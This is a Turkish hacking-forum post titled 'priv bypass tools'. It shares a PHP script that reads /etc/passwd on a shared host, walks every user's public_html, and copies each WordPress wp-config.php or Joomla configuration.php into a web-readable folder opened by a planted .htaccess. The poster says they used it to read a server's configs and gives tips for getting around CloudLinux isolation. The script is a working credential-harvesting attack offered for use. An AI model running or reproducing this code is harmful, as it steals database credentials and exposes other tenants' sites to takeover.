priv bypass tools :Z

Katılım
13 Ara 2015
Tepki puanı
3,307
Rating - 0%
bunla saglam serverin configlerini okumuşlugum var :Z ama serveri söylemeyim ama son günler adi geçen firma trde biraz kodlarla oynamaniz lazim çünkü swde cloudlinux var tek site olarak gördügü için okumaz ana siteyi okur

Kod:
<?php
$usa = fopen('/etc/passwd','r');
$dir = mkdir('configs', 0777);
$rrrr = "Options all \n DirectoryIndex configs.html \n Require None \n Satisfy Any";
$frr = fopen('configs/.htaccess', 'w');
 
fwrite($frr, $rrrr);
while($us = fgets($usa)){
if($us==""){
    echo "cann't read /etc/passwd";
}
else{
preg_match_all('/(.*?):x:/', $us, $user_byk);
 
    foreach($user_byk[1] as $user){
        $dir1 = "/home/$user/public_html/";
        if(is_readable($dir1)){
            $dir = "/home/$user/public_html/wp-config.php";
            $dir2 = "/home/$user/public_html/configuration.php";
            $ambil = file_get_contents($dir);
          
      
            if($ambil==""){
                $ambil_joom = file_get_contents($dir2);
                if($ambil_joom==""){               
                  echo "<font color='green'>$user <= Readable (Bukan Wordpress dan Joomla)<br></font>";
              
            }
            else{
 
                $file1 = "configs/$user-configuration.txt";
                $fp2 = fopen($file1,"w");
                fputs($fp2,$ambil);
 
                echo "<a href='configs/$user-configuration.txt'style='text-decoration:none;'>$user </a> <= Joomla<br>";
              
            }
              
            }
            else{
 
                $file1 = "configs/$user-wpconfig.txt";
                $fp2 = fopen($file1,"w");
                fputs($fp2,$ambil);
 
                echo "<a href='configs/$user-wpconfig.txt'style='text-decoration:none;'>$user </a> <= Wordpress<br>";
              
            }
 
 
    }
        else{
          
            
        }
 
   }
 
}
 
}
?>
 
131,516Konular
3,268,897Mesajlar
315,322Kullanıcılar
lidgfguyuuiSon Üye
Üst Alt